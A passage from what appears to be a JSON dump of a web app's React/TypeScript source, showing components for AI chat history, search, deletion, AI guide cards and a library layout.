</button>\n\n              <p className=\"mt-4 text-center text-xs text-gray-500\">\n                You can also export your resume from{' '}\n                <button\n                  type=\"button\"\n                  onClick={() => setShowLinkedInExport(true)}\n                  className=\"text-black underline underline-offset-2 hover:text-gray-600\"\n                >\n                  LinkedIn\n                </button>\n              </p>\n            </>\n          )}\n        </form>\n      )}\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChatHistory/AIChatHistory.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { chatHistoryOptions } from '../../queries/chat-history';\nimport { AIChat, aiChatRenderer } from '../AIChat/AIChat';\nimport { Loader2Icon } from 'lucide-react';\nimport { useEffect, useState, useCallback } from 'react';\nimport { AIChatLayout } from './AIChatLayout';\nimport { ListChatHistory } from './ListChatHistory';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { ChatHistoryError } from './ChatHistoryError';\nimport { useClientMount } from '../../hooks/use-client-mount';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\n\ntype AIChatHistoryProps = {\n  chatHistoryId?: string;\n};\n\nexport function AIChatHistory(props: AIChatHistoryProps) {\n  const { chatHistoryId: defaultChatHistoryId } = props;\n\n  const isClientMounted = useClientMount();\n  const [keyTrigger, setKeyTrigger] = useState(0);\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const [isChatHistoryLoading, setIsChatHistoryLoading] = useState(true);\n  const [chatHistoryId, setChatHistoryId] = useState<string | undefined>(\n    defaultChatHistoryId || undefined,\n  );\n\n  const { data, error: chatHistoryError } = useQuery(\n    chatHistoryOptions(chatHistoryId, aiChatRenderer),\n    queryClient,\n  );\n\n  const {\n    data: userBillingDetails,\n    isLoading: isBillingDetailsLoading,\n    error: billingDetailsError,\n  } = useQuery(billingDetailsOptions(), queryClient);\n\n  const handleChatHistoryClick = useCallback(\n    (nextChatHistoryId: string | null) => {\n      setKeyTrigger((key) => key + 1);\n\n      if (nextChatHistoryId === null) {\n        setChatHistoryId(undefined);\n        window.history.replaceState(null, '', '/ai/chat');\n        return;\n      }\n\n      // show loader only if the chat history hasn't been fetched before (avoids UI flash)\n      const hasAlreadyFetched = queryClient.getQueryData(\n        chatHistoryOptions(nextChatHistoryId).queryKey,\n      );\n\n      if (!hasAlreadyFetched) {\n        setIsChatHistoryLoading(true);\n      }\n\n      setChatHistoryId(nextChatHistoryId);\n      window.history.replaceState(null, '', `/ai/chat/${nextChatHistoryId}`);\n    },\n    [],\n  );\n\n  const handleDelete = useCallback(\n    (deletedChatHistoryId: string) => {\n      if (deletedChatHistoryId !== chatHistoryId) {\n        return;\n      }\n\n      setChatHistoryId(undefined);\n      window.history.replaceState(null, '', '/ai/chat');\n      setKeyTrigger((key) => key + 1);\n    },\n    [chatHistoryId],\n  );\n\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const hasError = chatHistoryError || billingDetailsError;\n\n  const showLoader = isChatHistoryLoading && !hasError;\n  const showError = !isChatHistoryLoading && Boolean(hasError);\n\n  useEffect(() => {\n    if (!chatHistoryId) {\n      setIsChatHistoryLoading(false);\n      return;\n    }\n\n    if (!data) {\n      return;\n    }\n\n    setIsChatHistoryLoading(false);\n  }, [data, chatHistoryId]);\n\n  useEffect(() => {\n    if (!hasError) {\n      return;\n    }\n\n    setIsChatHistoryLoading(false);\n  }, [hasError]);\n\n  if (!isClientMounted || isBillingDetailsLoading) {\n    return (\n      <AIChatLayout>\n        <div className=\"relative flex grow\">\n          <div className=\"absolute inset-0 z-20 flex items-center justify-center\">\n            <Loader2Icon className=\"h-8 w-8 animate-spin stroke-[2.5] text-gray-400/80\" />\n          </div>\n        </div>\n      </AIChatLayout>\n    );\n  }\n\n  return (\n    <AIChatLayout>\n      <div className=\"relative flex grow\">\n        <ListChatHistory\n          activeChatHistoryId={chatHistoryId}\n          onChatHistoryClick={handleChatHistoryClick}\n          onDelete={handleDelete}\n          isPaidUser={isPaidUser}\n          onUpgrade={() => {\n            setShowUpgradeModal(true);\n          }}\n        />\n\n        <div className=\"relative flex grow\">\n          {showLoader && (\n            <div className=\"absolute inset-0 z-20 flex items-center justify-center\">\n              <Loader2Icon className=\"h-8 w-8 animate-spin stroke-[2.5] text-gray-400/80\" />\n            </div>\n          )}\n\n          {showError && (\n            <div className=\"absolute inset-0 z-20 flex items-center justify-center\">\n              <ChatHistoryError error={hasError} className=\"mt-0\" />\n            </div>\n          )}\n\n          {!showLoader && !showError && (\n            <AIChat\n              key={keyTrigger}\n              messages={data?.messages}\n              chatHistoryId={chatHistoryId}\n              setChatHistoryId={(id) => {\n                setChatHistoryId(id);\n                window.history.replaceState(null, '', `/ai/chat/${id}`);\n                queryClient.invalidateQueries({\n                  predicate: (query) => {\n                    return query.queryKey[0] === 'list-chat-history';\n                  },\n                });\n              }}\n              onUpgrade={() => {\n                setShowUpgradeModal(true);\n              }}\n            />\n          )}\n        </div>\n      </div>\n\n      {showUpgradeModal && (\n        <UpgradeAccountModal onClose={() => setShowUpgradeModal(false)} />\n      )}\n    </AIChatLayout>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChatHistory/AIChatLayout.tsx",
    "content": "import { AITutorLayout } from '../AITutor/AITutorLayout';\nimport { CheckSubscriptionVerification } from '../Billing/CheckSubscriptionVerification';\nimport { Loader2Icon } from 'lucide-react';\n\ntype AIChatLayoutProps = {\n  children: React.ReactNode;\n};\n\nexport function AIChatLayout(props: AIChatLayoutProps) {\n  const { children } = props;\n\n  return (\n    <AITutorLayout\n      activeTab=\"chat\"\n      wrapperClassName=\"flex-row p-0 lg:p-0 overflow-hidden\"\n      containerClassName=\"h-[calc(100vh-49px)] overflow-hidden\"\n    >\n      {children}\n      <CheckSubscriptionVerification />\n    </AITutorLayout>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChatHistory/ChatHistoryAction.tsx",
    "content": "import { EllipsisVerticalIcon, Loader2Icon, Trash2Icon } from 'lucide-react';\nimport {\n  DropdownMenu,\n  DropdownMenuContent,\n  DropdownMenuItem,\n  DropdownMenuTrigger,\n} from '../DropdownMenu';\nimport { queryClient } from '../../stores/query-client';\nimport { useMutation } from '@tanstack/react-query';\nimport { httpDelete } from '../../lib/query-http';\nimport { listChatHistoryOptions } from '../../queries/chat-history';\nimport { useState } from 'react';\nimport { useToast } from '../../hooks/use-toast';\n\ntype ChatHistoryActionProps = {\n  chatHistoryId: string;\n  onDelete?: () => void;\n};\n\nexport function ChatHistoryAction(props: ChatHistoryActionProps) {\n  const { chatHistoryId, onDelete } = props;\n\n  const toast = useToast();\n  const [isOpen, setIsOpen] = useState(false);\n  const [isDeleting, setIsDeleting] = useState(false);\n\n  const { mutate: deleteChatHistory, isPending: isDeletingLoading } =\n    useMutation(\n      {\n        mutationFn: (chatHistoryId: string) => {\n          return httpDelete(`/v1-delete-chat/${chatHistoryId}`);\n        },\n        onSettled: () => {\n          return queryClient.invalidateQueries({\n            predicate: (query) => {\n              return query.queryKey[0] === 'list-chat-history';\n            },\n          });\n        },\n        onSuccess: () => {\n          toast.success('Chat history deleted');\n          setIsOpen(false);\n          onDelete?.();\n        },\n        onError: (error) => {\n          toast.error(error?.message || 'Failed to delete chat history');\n        },\n      },\n      queryClient,\n    );\n\n  return (\n    <DropdownMenu open={isOpen} onOpenChange={setIsOpen}>\n      <DropdownMenuTrigger className=\"rounded-lg p-2 opacity-0 group-hover/item:opacity-100 hover:bg-gray-100 focus:outline-none data-[state=open]:bg-gray-100 data-[state=open]:opacity-100\">\n        <EllipsisVerticalIcon className=\"h-4 w-4\" />\n      </DropdownMenuTrigger>\n      <DropdownMenuContent align=\"end\" className=\"z-[9999]\">\n        {!isDeleting && (\n          <DropdownMenuItem\n            className=\"cursor-pointer text-red-500 focus:bg-red-50 focus:text-red-500\"\n            onSelect={(e) => {\n              e.preventDefault();\n              setIsDeleting(true);\n            }}\n            disabled={isDeletingLoading}\n          >\n            {isDeletingLoading ? (\n              <>\n                <Loader2Icon className=\"h-4 w-4 animate-spin\" />\n                Deleting...\n              </>\n            ) : (\n              <>\n                <Trash2Icon className=\"h-4 w-4\" />\n                Delete\n              </>\n            )}\n          </DropdownMenuItem>\n        )}\n        {isDeleting && (\n          <DropdownMenuItem\n            asChild\n            className=\"focus:bg-transparent\"\n            onSelect={(e) => {\n              e.preventDefault();\n            }}\n            disabled={isDeletingLoading}\n          >\n            <div className=\"flex w-full items-center justify-between gap-1.5\">\n              Are you sure?\n              <div className=\"flex items-center gap-2\">\n                <button\n                  onClick={() => {\n                    deleteChatHistory(chatHistoryId);\n                    setIsDeleting(false);\n                  }}\n                  className=\"cursor-pointer text-red-500 underline hover:text-red-800\"\n                  disabled={isDeletingLoading}\n                >\n                  Yes\n                </button>\n                <button\n                  onClick={() => setIsDeleting(false)}\n                  className=\"cursor-pointer text-red-500 underline hover:text-red-800\"\n                  disabled={isDeletingLoading}\n                >\n                  No\n                </button>\n              </div>\n            </div>\n          </DropdownMenuItem>\n        )}\n      </DropdownMenuContent>\n    </DropdownMenu>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChatHistory/ChatHistoryError.tsx",
    "content": "import { AlertCircleIcon } from 'lucide-react';\nimport { cn } from '../../lib/classname';\n\ntype ChatHistoryErrorProps = {\n  error: Error | null;\n  className?: string;\n};\n\nexport function ChatHistoryError(props: ChatHistoryErrorProps) {\n  const { error, className } = props;\n\n  return (\n    <div\n      className={cn(\n        'mt-10 flex max-w-md flex-col items-center justify-center text-center',\n        className,\n      )}\n    >\n      <AlertCircleIcon className=\"h-8 w-8 text-red-500\" />\n      <h3 className=\"mt-4 text-sm font-medium text-gray-900\">\n        Something went wrong\n      </h3>\n      <p className=\"mt-0.5 text-xs text-balance text-gray-500\">\n        {error?.message}\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChatHistory/ChatHistoryGroup.tsx",
    "content": "import type { ChatHistoryWithoutMessages } from '../../queries/chat-history';\nimport { ChatHistoryItem } from './ChatHistoryItem';\n\ntype ChatHistoryGroupProps = {\n  title: string;\n  histories: ChatHistoryWithoutMessages[];\n  activeChatHistoryId?: string;\n  onChatHistoryClick: (id: string) => void;\n  onDelete: (id: string) => void;\n};\n\nexport function ChatHistoryGroup(props: ChatHistoryGroupProps) {\n  const {\n    title,\n    histories,\n    activeChatHistoryId,\n    onChatHistoryClick,\n    onDelete,\n  } = props;\n\n  return (\n    <div>\n      <h2 className=\"ml-2 text-xs text-gray-500\">{title}</h2>\n\n      <ul className=\"mt-1 space-y-0.5\">\n        {histories.map((chatHistory) => {\n          return (\n            <ChatHistoryItem\n              key={chatHistory._id}\n              chatHistory={chatHistory}\n              isActive={activeChatHistoryId === chatHistory._id}\n              onChatHistoryClick={onChatHistoryClick}\n              onDelete={() => {\n                onDelete?.(chatHistory._id);\n              }}\n            />\n          );\n        })}\n      </ul>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChatHistory/ChatHistoryItem.tsx",
    "content": "import { cn } from '../../lib/classname';\nimport type { ChatHistoryDocument } from '../../queries/chat-history';\nimport { ChatHistoryAction } from './ChatHistoryAction';\n\ntype ChatHistoryItemProps = {\n  chatHistory: Omit<ChatHistoryDocument, 'messages'>;\n  isActive: boolean;\n  onChatHistoryClick: (chatHistoryId: string) => void;\n  onDelete?: () => void;\n};\n\nexport function ChatHistoryItem(props: ChatHistoryItemProps) {\n  const { chatHistory, isActive, onChatHistoryClick, onDelete } = props;\n\n  return (\n    <li key={chatHistory._id} className=\"group/item relative text-sm\">\n      <button\n        className=\"block w-full truncate rounded-lg p-2 pr-10 text-left hover:bg-gray-100 data-[active=true]:bg-gray-100\"\n        data-active={isActive}\n        onClick={() => onChatHistoryClick(chatHistory._id)}\n      >\n        {chatHistory.title}\n      </button>\n\n      <div className=\"absolute inset-y-0 right-2 flex items-center\">\n        <ChatHistoryAction\n          chatHistoryId={chatHistory._id}\n          onDelete={onDelete}\n        />\n      </div>\n    </li>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChatHistory/ListChatHistory.tsx",
    "content": "import { useInfiniteQuery } from '@tanstack/react-query';\nimport { listChatHistoryOptions } from '../../queries/chat-history';\nimport { queryClient } from '../../stores/query-client';\nimport {\n  Loader2Icon,\n  LockIcon,\n  PanelLeftCloseIcon,\n  PanelLeftIcon,\n  PlusIcon,\n} from 'lucide-react';\nimport { useEffect, useLayoutEffect, useMemo, useState } from 'react';\nimport { ListChatHistorySkeleton } from './ListChatHistorySkeleton';\nimport { ChatHistoryError } from './ChatHistoryError';\nimport { cn } from '../../lib/classname';\nimport { getTailwindScreenDimension } from '../../lib/is-mobile';\nimport { groupChatHistory } from '../../helper/grouping';\nimport { SearchAIChatHistory } from './SearchAIChatHistory';\nimport { ChatHistoryGroup } from './ChatHistoryGroup';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\n\ntype ListChatHistoryProps = {\n  activeChatHistoryId?: string;\n  onChatHistoryClick: (chatHistoryId: string | null) => void;\n  onDelete?: (chatHistoryId: string) => void;\n  isPaidUser?: boolean;\n  onUpgrade?: () => void;\n};\n\nexport function ListChatHistory(props: ListChatHistoryProps) {\n  const {\n    activeChatHistoryId,\n    onChatHistoryClick,\n    onDelete,\n    isPaidUser,\n    onUpgrade,\n  } = props;\n\n  const [isOpen, setIsOpen] = useState(true);\n  const [isLoading, setIsLoading] = useState(true);\n  const [isMobile, setIsMobile] = useState(false);\n\n  useLayoutEffect(() => {\n    const deviceType = getTailwindScreenDimension();\n    const isMediumSize = ['sm', 'md'].includes(deviceType);\n\n    // Only set initial state from localStorage if not on mobile\n    if (!isMediumSize) {\n      const storedState = localStorage.getItem('chat-history-sidebar-open');\n      setIsOpen(storedState === null ? true : storedState === 'true');\n    } else {\n      setIsOpen(!isMediumSize);\n    }\n\n    setIsMobile(isMediumSize);\n  }, []);\n\n  // Save state to localStorage when it changes, but only if not on mobile\n  useEffect(() => {\n    if (!isMobile) {\n      localStorage.setItem('chat-history-sidebar-open', isOpen.toString());\n    }\n  }, [isOpen, isMobile]);\n\n  const [query, setQuery] = useState('');\n\n  const {\n    data,\n    fetchNextPage,\n    hasNextPage,\n    isFetchingNextPage,\n    isError,\n    error,\n    isLoading: isLoadingInfiniteQuery,\n  } = useInfiniteQuery(listChatHistoryOptions({ query }), queryClient);\n\n  useEffect(() => {\n    if (!data) {\n      return;\n    }\n\n    setIsLoading(false);\n  }, [data?.pages]);\n\n  const groupedChatHistory = useMemo(() => {\n    const allHistories = data?.pages?.flatMap((page) => page.data);\n    return groupChatHistory(allHistories ?? []);\n  }, [data?.pages]);\n\n  if (!isLoggedIn()) {\n    return null;\n  }\n\n  if (!isOpen) {\n    return (\n      <div className=\"absolute top-2 left-2 z-20 flex items-center gap-1\">\n        <button\n          className=\"flex size-8 items-center justify-center rounded-lg p-1 hover:bg-gray-200\"\n          onClick={() => {\n            setIsOpen(true);\n          }}\n        >\n          <PanelLeftIcon className=\"h-4.5 w-4.5\" />\n        </button>\n        <button\n          className=\"flex size-8 items-center justify-center rounded-lg p-1 hover:bg-gray-200\"\n          onClick={() => {\n            if (isMobile) {\n              setIsOpen(false);\n            }\n            onChatHistoryClick(null);\n          }}\n        >\n          <PlusIcon className=\"h-4.5 w-4.5\" />\n        </button>\n      </div>\n    );\n  }\n\n  const isEmptyHistory = Object.values(groupedChatHistory ?? {}).every(\n    (group) => group.histories.length === 0,\n  );\n\n  const classNames = cn(\n    'flex w-[255px] shrink-0 flex-col justify-start border-r border-gray-200 bg-white p-2',\n    'max-md:absolute max-md:inset-0 max-md:z-20 max-md:w-full',\n    !isOpen && 'hidden',\n  );\n\n  const closeButton = (\n    <button\n      className=\"flex size-8 items-center justify-center rounded-lg p-1 text-gray-500 hover:bg-gray-100 hover:text-black\"\n      onClick={() => {\n        setIsOpen(false);\n      }}\n    >\n      <PanelLeftCloseIcon className=\"h-4.5 w-4.5\" />\n    </button>\n  );\n\n  if (!isPaidUser) {\n    return (\n      <UpgradeToProMessage\n        className={classNames}\n        closeButton={closeButton}\n        onUpgrade={onUpgrade}\n      />\n    );\n  }\n\n  return (\n    <div className={classNames}>\n      {isLoading && <ListChatHistorySkeleton />}\n      {!isLoading && isError && <ChatHistoryError error={error} />}\n\n      {!isLoading && !isError && (\n        <>\n          <div>\n            <div className=\"mb-4 flex items-center justify-between\">\n              <h1 className=\"font-medium text-gray-900\">Chat History</h1>\n              {closeButton}\n            </div>\n\n            <button\n              className=\"flex w-full items-center justify-center gap-2 rounded-lg bg-black p-2 text-sm text-white hover:opacity-80\"\n              onClick={() => {\n                if (isMobile) {\n                  setIsOpen(false);\n                }\n                onChatHistoryClick(null);\n              }}\n            >\n              <PlusIcon className=\"h-4 w-4\" />\n              <span className=\"text-sm\">New Chat</span>\n            </button>\n\n            <SearchAIChatHistory\n              onSearch={setQuery}\n              isLoading={isLoadingInfiniteQuery}\n            />\n          </div>\n\n          <div className=\"scrollbar-track-transparent scrollbar-thin scrollbar-thumb-gray-300 -mx-2 mt-6 grow space-y-4 overflow-y-scroll px-2\">\n            {isEmptyHistory && !isLoadingInfiniteQuery && (\n              <div className=\"flex items-center justify-center\">\n                <p className=\"text-sm text-gray-500\">No chat history</p>\n              </div>\n            )}\n\n            {Object.entries(groupedChatHistory ?? {}).map(([key, value]) => {\n              if (value.histories.length === 0) {\n                return null;\n              }\n\n              return (\n                <ChatHistoryGroup\n                  key={key}\n                  title={value.title}\n                  histories={value.histories}\n                  activeChatHistoryId={activeChatHistoryId}\n                  onChatHistoryClick={(id) => {\n                    if (isMobile) {\n                      setIsOpen(false);\n                    }\n\n                    onChatHistoryClick(id);\n                  }}\n                  onDelete={(id) => {\n                    onDelete?.(id);\n                  }}\n                />\n              );\n            })}\n\n            {hasNextPage && (\n              <div className=\"mt-4\">\n                <button\n                  className=\"flex w-full items-center justify-center gap-2 text-sm text-gray-500 hover:text-black\"\n                  onClick={() => {\n                    fetchNextPage();\n                  }}\n                  disabled={isFetchingNextPage}\n                >\n                  {isFetchingNextPage && (\n                    <>\n                      <Loader2Icon className=\"h-4 w-4 animate-spin\" />\n                      Loading more...\n                    </>\n                  )}\n                  {!isFetchingNextPage && 'Load More'}\n                </button>\n              </div>\n            )}\n          </div>\n        </>\n      )}\n    </div>\n  );\n}\n\ntype UpgradeToProMessageProps = {\n  className?: string;\n  onUpgrade?: () => void;\n  closeButton?: React.ReactNode;\n};\n\nexport function UpgradeToProMessage(props: UpgradeToProMessageProps) {\n  const { className, onUpgrade, closeButton } = props;\n\n  return (\n    <div className={cn('relative flex flex-col', className)}>\n      <div className=\"mb-4 flex items-center justify-between\">\n        {closeButton}\n      </div>\n\n      <div className=\"flex grow flex-col items-center justify-center px-4\">\n        <div className=\"flex flex-col items-center\">\n          <div className=\"mb-3 rounded-full bg-yellow-100 p-3\">\n            <LockIcon className=\"size-6 text-yellow-600\" />\n          </div>\n          <h2 className=\"text-lg font-semibold text-gray-900\">\n            Unlock History\n          </h2>\n          <p className=\"mt-2 text-center text-sm text-balance text-gray-600\">\n            Save conversations and pick up right where you left off.\n          </p>\n        </div>\n\n        <div className=\"my-5 w-full space-y-2\">\n          <div className=\"flex items-center gap-2 rounded-lg border border-gray-200 bg-gray-50 px-3 py-2\">\n            <CheckIcon additionalClasses=\"size-4 text-green-500\" />\n            <span className=\"text-sm text-gray-600\">Unlimited history</span>\n          </div>\n          <div className=\"flex items-center gap-2 rounded-lg border border-gray-200 bg-gray-50 px-3 py-2\">\n            <CheckIcon additionalClasses=\"size-4 text-green-500\" />\n            <span className=\"text-sm text-gray-600\">Search old chats</span>\n          </div>\n        </div>\n\n        <button\n          type=\"button\"\n          className=\"w-full cursor-pointer rounded-lg bg-yellow-400 px-4 py-2 text-sm font-medium text-black hover:bg-yellow-500\"\n          onClick={() => {\n            onUpgrade?.();\n          }}\n        >\n          Upgrade to Pro\n        </button>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChatHistory/ListChatHistorySkeleton.tsx",
    "content": "export function ListChatHistorySkeleton() {\n  return (\n    <>\n      <div>\n        <div className=\"mb-4 flex items-center justify-between gap-2\">\n          <div className=\"h-6 w-1/2 animate-pulse rounded bg-gray-200\" />\n\n          <div className=\"size-8 animate-pulse rounded-md bg-gray-200\" />\n        </div>\n\n        <div className=\"h-9 w-full animate-pulse rounded-lg bg-gray-200\" />\n\n        <div className=\"relative mt-2\">\n          <div className=\"h-9 w-full animate-pulse rounded-lg bg-gray-200\" />\n        </div>\n      </div>\n\n      <div className=\"scrollbar-track-transparent scrollbar-thin scrollbar-thumb-gray-300 -mx-2 mt-6 grow space-y-4 overflow-y-scroll px-2\">\n        {['Today', 'Last 7 Days', 'Older'].map((group) => (\n          <div key={group}>\n            <div className=\"h-4 w-16 animate-pulse rounded bg-gray-200\" />\n            <ul className=\"mt-1 space-y-0.5\">\n              {[1, 2, 3].map((i) => (\n                <li\n                  key={i}\n                  className=\"h-9 animate-pulse rounded-lg bg-gray-100\"\n                ></li>\n              ))}\n            </ul>\n          </div>\n        ))}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChatHistory/SearchAIChatHistory.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { useDebounceValue } from '../../hooks/use-debounce';\nimport { Loader2Icon, XIcon, SearchIcon } from 'lucide-react';\nimport { cn } from '../../lib/classname';\n\ntype SearchAIChatHistoryProps = {\n  onSearch: (search: string) => void;\n  isLoading?: boolean;\n  className?: string;\n  inputClassName?: string;\n};\n\nexport function SearchAIChatHistory(props: SearchAIChatHistoryProps) {\n  const { onSearch, isLoading, className, inputClassName } = props;\n\n  const [search, setSearch] = useState('');\n  const debouncedSearch = useDebounceValue(search, 300);\n\n  useEffect(() => {\n    onSearch(debouncedSearch);\n  }, [debouncedSearch, onSearch]);\n\n  return (\n    <form\n      className={cn('relative mt-2 flex grow items-center', className)}\n      onSubmit={(e) => {\n        e.preventDefault();\n        onSearch(search);\n      }}\n    >\n      <input\n        type=\"text\"\n        placeholder=\"Search folder by name\"\n        className={cn(\n          'block h-9 w-full rounded-lg border border-gray-200 bg-white px-3 py-2 pr-7 pl-8 text-sm outline-none placeholder:text-zinc-500 focus:border-zinc-500',\n          inputClassName,\n        )}\n        required\n        minLength={3}\n        maxLength={255}\n        value={search}\n        data-clarity-unmask=\"true\"\n        onChange={(e) => setSearch(e.target.value)}\n      />\n\n      <div className=\"absolute top-1/2 left-2.5 -translate-y-1/2\">\n        {isLoading ? (\n          <Loader2Icon className=\"size-4 animate-spin text-gray-500\" />\n        ) : (\n          <SearchIcon className=\"size-4 text-gray-500\" />\n        )}\n      </div>\n      {search && (\n        <div className=\"absolute inset-y-0 right-1 flex items-center\">\n          <button\n            onClick={() => {\n              setSearch('');\n            }}\n            className=\"rounded-lg p-1 hover:bg-gray-100\"\n          >\n            <XIcon className=\"size-4 text-gray-500\" />\n          </button>\n        </div>\n      )}\n    </form>\n  );\n}\n"
  },
  {
    "path": "src/components/AIGuide/AIGuideActions.tsx",
    "content": "import { ArrowUpRightIcon, MoreVertical, Play, Trash2 } from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { useToast } from '../../hooks/use-toast';\nimport { useMutation } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { httpDelete } from '../../lib/query-http';\n\ntype AIGuideActionsType = {\n  guideSlug: string;\n  onDeleted?: () => void;\n};\n\nexport function AIGuideActions(props: AIGuideActionsType) {\n  const { guideSlug, onDeleted } = props;\n\n  const toast = useToast();\n  const dropdownRef = useRef<HTMLDivElement>(null);\n\n  const [isOpen, setIsOpen] = useState(false);\n  const [isConfirming, setIsConfirming] = useState(false);\n\n  const { mutate: deleteCourse, isPending: isDeleting } = useMutation(\n    {\n      mutationFn: async () => {\n        return httpDelete(`/v1-delete-ai-guide/${guideSlug}`);\n      },\n      onSuccess: () => {\n        toast.success('Guide deleted');\n        queryClient.invalidateQueries({\n          predicate: (query) => query.queryKey?.[0] === 'user-ai-guides',\n        });\n        onDeleted?.();\n      },\n      onError: (error) => {\n        toast.error(error?.message || 'Failed to delete guide');\n      },\n    },\n    queryClient,\n  );\n\n  useOutsideClick(dropdownRef, () => {\n    setIsOpen(false);\n  });\n\n  useKeydown('Escape', () => {\n    setIsOpen(false);\n  });\n\n  return (\n    <div className=\"relative h-full\" ref={dropdownRef}>\n      <button\n        className=\"h-full text-gray-400 hover:text-gray-700\"\n        onClick={(e) => {\n          e.stopPropagation();\n          setIsOpen(!isOpen);\n        }}\n      >\n        <MoreVertical size={16} />\n      </button>\n\n      {isOpen && (\n        <div className=\"absolute top-8 right-0 z-10 w-48 overflow-hidden rounded-md border border-gray-200 bg-white shadow-lg\">\n          <a\n            href={`/ai/guide/${guideSlug}`}\n            className=\"flex w-full items-center gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\"\n          >\n            <ArrowUpRightIcon className=\"h-3.5 w-3.5\" />\n            View Guide\n          </a>\n          {!isConfirming && (\n            <button\n              className=\"flex w-full items-center gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\"\n              onClick={() => setIsConfirming(true)}\n              disabled={isDeleting}\n            >\n              {!isDeleting ? (\n                <>\n                  <Trash2 className=\"h-3.5 w-3.5\" />\n                  Delete Guide\n                </>\n              ) : (\n                'Deleting...'\n              )}\n            </button>\n          )}\n\n          {isConfirming && (\n            <span className=\"flex w-full items-center justify-between gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\">\n              Are you sure?\n              <div className=\"flex items-center gap-2\">\n                <button\n                  onClick={() => {\n                    setIsConfirming(false);\n                    deleteCourse();\n                  }}\n                  disabled={isDeleting}\n                  className=\"text-red-500 underline hover:text-red-800\"\n                >\n                  Yes\n                </button>\n                <button\n                  onClick={() => setIsConfirming(false)}\n                  className=\"text-red-500 underline hover:text-red-800\"\n                >\n                  No\n                </button>\n              </div>\n            </span>\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIGuide/AIGuideCard.tsx",
    "content": "import type { ListUserAIGuidesResponse } from '../../queries/ai-guide';\nimport { AIGuideActions } from './AIGuideActions';\n\ntype AIGuideCardProps = {\n  guide: ListUserAIGuidesResponse['data'][number] & {\n    html: string;\n  };\n  showActions?: boolean;\n};\n\nexport function AIGuideCard(props: AIGuideCardProps) {\n  const { guide, showActions = true } = props;\n\n  return (\n    <div className=\"relative flex flex-grow flex-col\">\n      <a\n        href={`/ai/guide/${guide.slug}`}\n        className=\"group relative flex h-full min-h-[120px] w-full flex-col overflow-hidden rounded-lg border border-gray-200 bg-white p-3 text-left hover:border-gray-300 hover:bg-gray-50 sm:p-4\"\n      >\n        <div className=\"relative max-h-[180px] min-h-[140px] overflow-y-hidden sm:max-h-[200px] sm:min-h-[160px]\">\n          <div\n            className=\"prose prose-sm prose-pre:bg-gray-100 [&_h1]:hidden [&_h1:first-child]:block [&_h1:first-child]:text-base [&_h1:first-child]:leading-[1.35] [&_h1:first-child]:font-bold [&_h1:first-child]:text-pretty sm:[&_h1:first-child]:text-lg [&_h2]:hidden [&_h3]:hidden [&_h4]:hidden [&_h5]:hidden [&_h6]:hidden\"\n            dangerouslySetInnerHTML={{ __html: guide.html }}\n          />\n\n          <div className=\"absolute inset-x-0 bottom-0 h-12 bg-gradient-to-t from-white to-transparent group-hover:from-gray-50 sm:h-16\" />\n        </div>\n      </a>\n\n      {showActions && guide.slug && (\n        <div className=\"absolute top-2 right-2\">\n          <AIGuideActions guideSlug={guide.slug} />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIGuide/AILibraryLayout.tsx",
    "content": "import { useState } from 'react';\nimport { AITutorHeader } from '../AITutor/AITutorHeader';\nimport { AITutorLayout } from '../AITutor/AITutorLayout';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { LibraryTabs } from '../Library/LibraryTab';\n\ntype AILibraryLayoutProps = {\n  activeTab: 'courses' | 'guides' | 'roadmaps' | 'quizzes';\n  children: React.ReactNode;\n};\n\nexport function AILibraryLayout(props: AILibraryLayoutProps) {\n  const { activeTab, children } = props;\n\n  const [showUpgradePopup, setShowUpgradePopup] = useState(false);\n\n  return (\n    <AITutorLayout activeTab=\"library\">\n      {showUpgradePopup && (\n        <UpgradeAccountModal onClose={() => setShowUpgradePopup(false)} />\n      )}\n      <div className=\"mx-auto flex w-full max-w-6xl flex-grow flex-col p-2\">\n        <AITutorHeader\n          title=\"Library\"\n          subtitle=\"Explore your AI-generated guides, courses and roadmaps\"\n          onUpgradeClick={() => setShowUpgradePopup(true)}\n        />\n\n        <LibraryTabs activeTab={activeTab} />\n        {children}\n      </div>\n    </AITutorLayout>\n  );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/AIMCQQuestion.tsx",
